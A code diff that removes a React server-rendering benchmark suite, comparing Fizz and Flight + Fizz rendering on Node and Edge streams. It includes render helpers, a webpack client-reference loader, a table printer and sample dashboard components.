console.log('Building RSC bundle...\n');
await build();
const {
renderRSCNode,
renderRSCEdge,
App: RSCApp,
AppAsync: RSCAppAsync,
} = require('./build/rsc-bundle.js');
const App = require('./src/App.js').default;
const AppAsync = require('./src/AppAsync.js').default;
const ITEM_COUNT = 200;
const WARMUP = 50;
const ITERATIONS = 1000;
const PROFILE_WARMUP = 50;
const PROFILE_ITERATIONS = 500;
// --- Verify renders ---
console.log('\n--- Verifying renders ---\n');
const fizzNodeHtml = await renderFizzNode(App, ITEM_COUNT);
console.log('Fizz (Node, sync): %d bytes', fizzNodeHtml.length);
const flightFizzNodeHtml = await renderFlightFizzNode(
renderRSCNode,
RSCApp,
ITEM_COUNT
);
console.log(
'Flight + Fizz (Node, sync): %d bytes',
flightFizzNodeHtml.length
);
const fizzNodeAsyncHtml = await renderFizzNode(AppAsync, ITEM_COUNT);
console.log('Fizz (Node, async): %d bytes', fizzNodeAsyncHtml.length);
const flightFizzNodeAsyncHtml = await renderFlightFizzNode(
renderRSCNode,
RSCAppAsync,
ITEM_COUNT
);
console.log(
'Flight + Fizz (Node, async):%d bytes',
flightFizzNodeAsyncHtml.length
);
const fizzEdgeHtml = await renderFizzEdge(App, ITEM_COUNT);
console.log('Fizz (Edge, sync): %d bytes', fizzEdgeHtml.length);
const fizzEdgeAsyncHtml = await renderFizzEdge(AppAsync, ITEM_COUNT);
console.log('Fizz (Edge, async): %d bytes', fizzEdgeAsyncHtml.length);
const flightFizzEdgeHtml = await renderFlightFizzEdge(
renderRSCEdge,
RSCApp,
ITEM_COUNT
);
console.log(
'Flight + Fizz (Edge, sync): %d bytes',
flightFizzEdgeHtml.length
);
const flightFizzEdgeAsyncHtml = await renderFlightFizzEdge(
renderRSCEdge,
RSCAppAsync,
ITEM_COUNT
);
console.log(
'Flight + Fizz (Edge, async):%d bytes',
flightFizzEdgeAsyncHtml.length
);
// --- CPU Profiling ---
if (PROFILE_MODE) {
console.log(
'\n--- CPU Profiling (%d warmup, %d iterations) ---\n',
PROFILE_WARMUP,
PROFILE_ITERATIONS
);
const profileDir = path.resolve(__dirname, 'build/profiles');
await profileRun(
'Fizz (Node, sync)',
() => renderFizzNode(App, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'fizz-node-sync.cpuprofile')
);
await profileRun(
'Flight + Fizz (Node, sync)',
() => renderFlightFizzNode(renderRSCNode, RSCApp, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'flight-fizz-node-sync.cpuprofile')
);
await profileRun(
'Fizz (Node, async)',
() => renderFizzNode(AppAsync, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'fizz-node-async.cpuprofile')
);
await profileRun(
'Flight + Fizz (Node, async)',
() => renderFlightFizzNode(renderRSCNode, RSCAppAsync, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'flight-fizz-node-async.cpuprofile')
);
await profileRun(
'Fizz (Edge, sync)',
() => renderFizzEdge(App, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'fizz-edge-sync.cpuprofile')
);
await profileRun(
'Flight + Fizz (Edge, sync)',
() => renderFlightFizzEdge(renderRSCEdge, RSCApp, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'flight-fizz-edge-sync.cpuprofile')
);
await profileRun(
'Fizz (Edge, async)',
() => renderFizzEdge(AppAsync, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'fizz-edge-async.cpuprofile')
);
await profileRun(
'Flight + Fizz (Edge, async)',
() => renderFlightFizzEdge(renderRSCEdge, RSCAppAsync, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'flight-fizz-edge-async.cpuprofile')
);
console.log(
'\nProfiles saved to build/profiles/. Open in Chrome DevTools or speedscope.app.'
);
return;
}
// --- Concurrent Benchmark ---
if (CONCURRENT_MODE) {
const CONCURRENCY = 50;
const TOTAL = 1000;
const CONC_WARMUP = 20;
console.log(
'\n--- Concurrent Benchmark (%d warmup, %d concurrency, %d requests, %d items) ---\n',
CONC_WARMUP,
CONCURRENCY,
TOTAL,
ITEM_COUNT
);
const fizzNodeSync = await runConcurrent(
'Fizz (Node, sync)',
() => renderFizzNode(App, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(fizzNodeSync);
const flightFizzNodeSync = await runConcurrent(
'Flight + Fizz (Node, sync)',
() => renderFlightFizzNode(renderRSCNode, RSCApp, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(flightFizzNodeSync);
const fizzNodeAsync = await runConcurrent(
'Fizz (Node, async)',
() => renderFizzNode(AppAsync, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(fizzNodeAsync);
const flightFizzNodeAsync = await runConcurrent(
'Flight + Fizz (Node, async)',
() => renderFlightFizzNode(renderRSCNode, RSCAppAsync, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(flightFizzNodeAsync);
const fizzEdgeSync = await runConcurrent(
'Fizz (Edge, sync)',
() => renderFizzEdge(App, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(fizzEdgeSync);
const flightFizzEdgeSync = await runConcurrent(
'Flight + Fizz (Edge, sync)',
() => renderFlightFizzEdge(renderRSCEdge, RSCApp, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(flightFizzEdgeSync);
const fizzEdgeAsync = await runConcurrent(
'Fizz (Edge, async)',
() => renderFizzEdge(AppAsync, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(fizzEdgeAsync);
const flightFizzEdgeAsync = await runConcurrent(
'Flight + Fizz (Edge, async)',
() => renderFlightFizzEdge(renderRSCEdge, RSCAppAsync, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(flightFizzEdgeAsync);
const rps = r => r.reqPerSec;
console.log('\n--- Flight overhead ---\n');
printGrid(
['Fizz', 'Flight+Fizz'],
[
['Node sync', fizzNodeSync, flightFizzNodeSync],
['Node async', fizzNodeAsync, flightFizzNodeAsync],
['Edge sync', fizzEdgeSync, flightFizzEdgeSync],
['Edge async', fizzEdgeAsync, flightFizzEdgeAsync],
],
rps,
'req/s',
'higher is better'
);
console.log('\n--- Edge vs Node ---\n');
printGrid(
['Node', 'Edge'],
[
['Fizz sync', fizzNodeSync, fizzEdgeSync],
['Fizz async', fizzNodeAsync, fizzEdgeAsync],
['Flight+Fizz sync', flightFizzNodeSync, flightFizzEdgeSync],
['Flight+Fizz async', flightFizzNodeAsync, flightFizzEdgeAsync],
],
rps,
'req/s',
'higher is better'
);
return;
}
// --- Benchmark ---
console.log(
'\n--- Benchmark (%d warmup, %d iterations, %d items) ---\n',
WARMUP,
ITERATIONS,
ITEM_COUNT
);
const fizzNodeSync = await runBenchmark(
'Fizz (Node, sync)',
() => renderFizzNode(App, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(fizzNodeSync);
const flightFizzNodeSync = await runBenchmark(
'Flight + Fizz (Node, sync)',
() => renderFlightFizzNode(renderRSCNode, RSCApp, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(flightFizzNodeSync);
const fizzNodeAsync = await runBenchmark(
'Fizz (Node, async)',
() => renderFizzNode(AppAsync, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(fizzNodeAsync);
const flightFizzNodeAsync = await runBenchmark(
'Flight + Fizz (Node, async)',
() => renderFlightFizzNode(renderRSCNode, RSCAppAsync, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(flightFizzNodeAsync);
const fizzEdgeSync = await runBenchmark(
'Fizz (Edge, sync)',
() => renderFizzEdge(App, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(fizzEdgeSync);
const flightFizzEdgeSync = await runBenchmark(
'Flight + Fizz (Edge, sync)',
() => renderFlightFizzEdge(renderRSCEdge, RSCApp, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(flightFizzEdgeSync);
const fizzEdgeAsync = await runBenchmark(
'Fizz (Edge, async)',
() => renderFizzEdge(AppAsync, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(fizzEdgeAsync);
const flightFizzEdgeAsync = await runBenchmark(
'Flight + Fizz (Edge, async)',
() => renderFlightFizzEdge(renderRSCEdge, RSCAppAsync, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(flightFizzEdgeAsync);
const median = r => r.median;
console.log('\n--- Flight overhead ---\n');
printGrid(
['Fizz', 'Flight+Fizz'],
[
['Node sync', fizzNodeSync, flightFizzNodeSync],
['Node async', fizzNodeAsync, flightFizzNodeAsync],
['Edge sync', fizzEdgeSync, flightFizzEdgeSync],
['Edge async', fizzEdgeAsync, flightFizzEdgeAsync],
],
median,
'ms',
'median, lower is better'
);
console.log('\n--- Edge vs Node ---\n');
printGrid(
['Node', 'Edge'],
[
['Fizz sync', fizzNodeSync, fizzEdgeSync],
['Fizz async', fizzNodeAsync, fizzEdgeAsync],
['Flight+Fizz sync', flightFizzNodeSync, flightFizzEdgeSync],
['Flight+Fizz async', flightFizzNodeAsync, flightFizzEdgeAsync],
],
median,
'ms',
'median, lower is better'
);
}
main().catch(function (err) {
console.error(err);
process.exit(1);
});

View File

@@ -1,34 +0,0 @@
{
"name": "flight-ssr-bench",
"version": "0.1.0",
"private": true,
"devEngines": {
"node": "20.x || 22.x"
},
"dependencies": {
"@babel/core": "^7.16.0",
"@babel/preset-react": "^7.22.5",
"@babel/register": "^7.28.6",
"babel-loader": "^8.2.3",
"react": "experimental",
"react-dom": "experimental",
"react-server-dom-webpack": "experimental",
"autocannon": "^8.0.0",
"webpack": "^5.64.4"
},
"scripts": {
"copy-modules": "cp -r ../../build/oss-experimental/* ./node_modules/",
"prebench": "yarn copy-modules",
"prebench:bare": "yarn copy-modules",
"prebench:profile": "yarn copy-modules",
"prebench:concurrent": "yarn copy-modules",
"prebench:server": "yarn copy-modules",
"prestart": "yarn copy-modules",
"start": "NODE_ENV=production node bench-server.js",
"bench": "NODE_ENV=production node --expose-gc bench.js",
"bench:profile": "NODE_ENV=production node --expose-gc bench.js --profile",
"bench:bare": "NODE_ENV=production node --expose-gc bench.js --no-injection",
"bench:concurrent": "NODE_ENV=production node --expose-gc bench.js --concurrent",
"bench:server": "NODE_ENV=production node bench-server.js --bench"
}
}

View File

@@ -1,54 +0,0 @@
'use strict';
function printGrid(colHeaders, rows, getValue, unit, note) {
const labelWidth = Math.max(
...rows.map(function (r) {
return r[0].length;
})
);
const suffix = unit ? ' ' + unit : '';
const fmtVal = function (v) {
return (v.toFixed(1) + suffix).padStart(10 + suffix.length);
};
const fmtPct = function (v) {
return ((v >= 0 ? '+' : '') + v.toFixed(1) + '%').padStart(8);
};
const fmtFactor = function (va, vb) {
return ((vb / va).toFixed(2) + 'x').padStart(7);
};
const colWidth = 10 + suffix.length;
const header =
''.padEnd(labelWidth) +
' ' +
colHeaders
.map(function (h) {
return h.padStart(colWidth);
})
.join(' ') +
' Delta Factor';
console.log(' ' + header);
console.log(' ' + '-'.repeat(header.length));
for (const [label, a, b] of rows) {
const va = getValue(a);
const vb = getValue(b);
const pct = ((vb - va) / va) * 100;
console.log(
' ' +
label.padEnd(labelWidth) +
' ' +
fmtVal(va) +
' ' +
fmtVal(vb) +
' ' +
fmtPct(pct) +
' ' +
fmtFactor(va, vb)
);
}
if (note) {
console.log(' (%s)', note);
}
}
module.exports = {printGrid};

View File

@@ -1,329 +0,0 @@
'use strict';
const {PassThrough, Transform} = require('stream');
// ---------------------------------------------------------------------------
// Fizz (Node) — renders App directly via Node streams.
// Returns a Node Readable stream of HTML.
// ---------------------------------------------------------------------------
function renderFizzNode(AppComponent, itemCount) {
const React = require('react');
const {renderToPipeableStream} = require('react-dom/server');
const output = new PassThrough();
const {pipe} = renderToPipeableStream(
React.createElement(AppComponent, {itemCount}),
{
onShellReady() {
pipe(output);
},
onError(e) {
console.error('Fizz Node error:', e);
output.destroy(e);
},
}
);
return output;
}
// ---------------------------------------------------------------------------
// Fizz (Edge) — renders App directly via web streams.
// Returns a promise that resolves to a web ReadableStream of HTML.
// ---------------------------------------------------------------------------
function renderFizzEdge(AppComponent, itemCount) {
const React = require('react');
const {renderToReadableStream} = require('react-dom/server');
return renderToReadableStream(React.createElement(AppComponent, {itemCount}));
}
// ---------------------------------------------------------------------------
// Flight + Fizz (Node) — RSC render → tee → Fizz + script injection.
// HTML chunks are buffered within a tick to avoid injecting scripts mid-tag.
// Returns a Node Readable stream of HTML with injected Flight scripts.
// ---------------------------------------------------------------------------
function renderFlightFizzNode(
renderRSCNode,
AppComponent,
itemCount,
clientManifest,
ssrManifest,
opts
) {
const inject = !opts || opts.inject !== false;
const React = require('react');
const {renderToPipeableStream} = require('react-dom/server');
const {createFromNodeStream} = require('react-server-dom-webpack/client');
const {pipe: rscPipe} = renderRSCNode(
clientManifest,
AppComponent,
itemCount
);
let flightStream;
let flightScripts = '';
if (inject) {
// Tee the Flight stream into SSR + script injection
const trunk = new PassThrough();
const forSsr = new PassThrough();
const forInline = new PassThrough();
trunk.pipe(forSsr);
trunk.pipe(forInline);
forInline.on('data', function (chunk) {
flightScripts +=
'<script>(self.__FLIGHT_DATA||=[]).push(' +
JSON.stringify(chunk.toString()) +
')</script>';
});
rscPipe(trunk);
flightStream = forSsr;
} else {
flightStream = new PassThrough();
rscPipe(flightStream);
}
let cachedResult;
function Root() {
if (!cachedResult) {
cachedResult = createFromNodeStream(flightStream, ssrManifest);
}
return React.use(cachedResult);
}
const output = new PassThrough();
const {pipe} = renderToPipeableStream(React.createElement(Root), {
onShellReady() {
if (inject) {
// Buffer HTML chunks within a tick to avoid injecting scripts mid-tag.
const trailer = '</body></html>';
let buffered = [];
let timeout = null;
const injector = new Transform({
transform(chunk, _encoding, cb) {
buffered.push(chunk);
if (!timeout) {
timeout = setTimeout(() => {
for (const buf of buffered) {
let str = buf.toString();
if (str.endsWith(trailer)) {
str = str.slice(0, -trailer.length);
}
this.push(str);
}
buffered.length = 0;
timeout = null;
if (flightScripts) {
this.push(flightScripts);
flightScripts = '';
}
}, 0);
}
cb();
},
flush(cb) {
if (timeout) {
clearTimeout(timeout);
for (const buf of buffered) {
let str = buf.toString();
if (str.endsWith(trailer)) {
str = str.slice(0, -trailer.length);
}
this.push(str);
}
buffered.length = 0;
}
if (flightScripts) {
this.push(flightScripts);
flightScripts = '';
}
this.push(trailer);
cb();
},
});
pipe(injector);
injector.pipe(output);
} else {
pipe(output);
}
},
onError(e) {
console.error('Flight+Fizz Node error:', e);
output.destroy(e);
},
});
return output;
}
// ---------------------------------------------------------------------------
// Flight + Fizz (Edge) — RSC render → tee → Fizz + script injection via web
// streams. HTML chunks are buffered within a tick to avoid injecting scripts
// mid-tag. The </body></html> trailer is stripped, Flight scripts injected,
// and the trailer re-added at flush.
// Returns a promise that resolves to a web ReadableStream.
// ---------------------------------------------------------------------------
function renderFlightFizzEdge(
renderRSCEdge,
AppComponent,
itemCount,
clientManifest,
ssrManifest,
opts
) {
const inject = !opts || opts.inject !== false;
const React = require('react');
const {renderToReadableStream} = require('react-dom/server');
const {
createFromReadableStream,
} = require('react-server-dom-webpack/client.edge');
const webStream = renderRSCEdge(clientManifest, AppComponent, itemCount);
let forSsr;
let injector;
if (inject) {
const htmlTrailer = '</body></html>';
const enc = new TextEncoder();
let forInline;
[forSsr, forInline] = webStream.tee();
let resolveInline;
const inlinePromise = new Promise(function (r) {
resolveInline = r;
});
const htmlDecoder = new TextDecoder();
let buffered = [];
let timeout = null;
function flushBuffered(controller) {
for (const chunk of buffered) {
let buf = htmlDecoder.decode(chunk, {stream: true});
if (buf.endsWith(htmlTrailer)) {
buf = buf.slice(0, -htmlTrailer.length);
}
controller.enqueue(enc.encode(buf));
}
const remaining = htmlDecoder.decode();
if (remaining.length) {
let buf = remaining;
if (buf.endsWith(htmlTrailer)) {
buf = buf.slice(0, -htmlTrailer.length);
}
controller.enqueue(enc.encode(buf));
}
buffered.length = 0;
timeout = null;
}
function writeFlightChunk(data, controller) {
controller.enqueue(
enc.encode(
'<script>(self.__FLIGHT_DATA||=[]).push(' +
JSON.stringify(data) +
')</script>'
)
);
}
injector = new TransformStream({
start(controller) {
(async function () {
const reader = forInline.getReader();
const decoder = new TextDecoder('utf-8', {fatal: true});
for (;;) {
const {done, value} = await reader.read();
if (done) break;
writeFlightChunk(decoder.decode(value, {stream: true}), controller);
}
const remaining = decoder.decode();
if (remaining.length) {
writeFlightChunk(remaining, controller);
}
resolveInline();
})();
},
transform(chunk, controller) {
buffered.push(chunk);
if (!timeout) {
timeout = setTimeout(function () {
flushBuffered(controller);
}, 0);
}
},
async flush(controller) {
await inlinePromise;
if (timeout) {
clearTimeout(timeout);
flushBuffered(controller);
}
controller.enqueue(enc.encode(htmlTrailer));
},
});
} else {
forSsr = webStream;
}
const cachedResult = createFromReadableStream(forSsr, {
serverConsumerManifest: ssrManifest,
});
function Root() {
return React.use(cachedResult);
}
return renderToReadableStream(React.createElement(Root)).then(
function (htmlStream) {
return injector ? htmlStream.pipeThrough(injector) : htmlStream;
}
);
}
// ---------------------------------------------------------------------------
// Utilities: collect streams into strings.
// ---------------------------------------------------------------------------
function nodeStreamToString(nodeStream) {
return new Promise(function (resolve, reject) {
const chunks = [];
nodeStream.on('data', function (chunk) {
chunks.push(chunk);
});
nodeStream.on('end', function () {
resolve(Buffer.concat(chunks).toString('utf-8'));
});
nodeStream.on('error', reject);
});
}
function webStreamToString(webStream) {
const reader = webStream.getReader();
const chunks = [];
function read() {
return reader.read().then(function ({done, value}) {
if (done) {
return Buffer.concat(chunks).toString('utf-8');
}
chunks.push(Buffer.from(value));
return read();
});
}
return read();
}
module.exports = {
renderFizzNode,
renderFizzEdge,
renderFlightFizzNode,
renderFlightFizzEdge,
nodeStreamToString,
webStreamToString,
};

View File

@@ -1,22 +0,0 @@
'use strict';
const url = require('url');
// Webpack loader that runs in the RSC compilation.
// When a module starts with 'use client', it replaces the entire source
// with a client module proxy. This makes the RSC renderer serialize a
// client reference into the Flight stream instead of rendering the component.
module.exports = function rscClientRefLoader(source) {
const trimmed = source.trimStart();
if (
trimmed.startsWith("'use client'") ||
trimmed.startsWith('"use client"')
) {
const href = url.pathToFileURL(this.resourcePath).href;
return [
`const { createClientModuleProxy } = require('react-server-dom-webpack/server');`,
`module.exports = createClientModuleProxy(${JSON.stringify(href)});`,
].join('\n');
}
return source;
};

View File

@@ -1,18 +0,0 @@
import Shell from './components/Shell';
import Sidebar from './components/Sidebar';
import Dashboard from './components/Dashboard';
import Footer from './components/Footer';
export default function App({itemCount}) {
return (
<html>
<body>
<Shell>
<Sidebar itemCount={itemCount} />
<Dashboard itemCount={itemCount} />
<Footer />
</Shell>
</body>
</html>
);
}

View File

@@ -1,18 +0,0 @@
import Shell from './components/Shell';
import Sidebar from './components/Sidebar';
import DashboardAsync from './components/DashboardAsync';
import Footer from './components/Footer';
export default function AppAsync({itemCount}) {
return (
<html>
<body>
<Shell>
<Sidebar itemCount={itemCount} />
<DashboardAsync itemCount={itemCount} />
<Footer />
</Shell>
</body>
</html>
);
}

View File

@@ -1,21 +0,0 @@
import ActivityItem from './ActivityItem';
export default function ActivityFeed({activities}) {
return (
<div className="activity-feed">
<h3>Recent Activity</h3>
<ul className="activity-list">
{activities.map(activity => (
<ActivityItem
key={activity.id}
type={activity.type}
user={activity.user}
message={activity.message}
timestamp={activity.timestamp}
details={activity.details}
/>
))}
</ul>
</div>
);
}

View File

@@ -1,27 +0,0 @@
'use client';
export default function ActivityItem({
type,
user,
message,
timestamp,
details,
}) {
return (
<li className={'activity-item activity-' + type}>
<div className="activity-icon" data-type={type} />
<div className="activity-content">
<p className="activity-message">{message}</p>
<div className="activity-meta">
<span className="activity-user">{user}</span>
<span className="activity-time">{timestamp}</span>
{details && (
<span className="activity-details">
{details.amount} &middot; {details.items} items
</span>
)}
</div>
</div>
</li>
);
}

View File

@@ -1,13 +0,0 @@
'use client';
export default function Avatar({name, role, src}) {
return (
<div className="avatar-container">
<img className="avatar-img" src={src} alt={name} width={32} height={32} />
<div className="avatar-info">
<span className="avatar-name">{name}</span>
<span className="avatar-role">{role}</span>
</div>
</div>
);
}

View File

@@ -1,6 +0,0 @@
'use client';
export default function Badge({count, variant}) {
const className = 'badge' + (variant ? ' badge-' + variant : '');
return <span className={className}>{count}</span>;
}

View File

@@ -1,24 +0,0 @@
'use client';
export default function ChartPanel({title, data, type}) {
const maxVal = Math.max(...data.map(d => d.value));
return (
<div className="chart-panel">
<h3 className="chart-title">{title}</h3>
<div className={'chart chart-' + type}>
{data.map(point => (
<div key={point.month} className="chart-bar-group">
<div
className="chart-bar"
style={{height: Math.round((point.value / maxVal) * 100) + '%'}}
/>
<span className="chart-label">{point.month}</span>
<span className="chart-value">
${(point.value / 1000).toFixed(0)}k
</span>
</div>
))}
</div>
</div>
);
}

Some files were not shown because too many files have changed in this diff Show More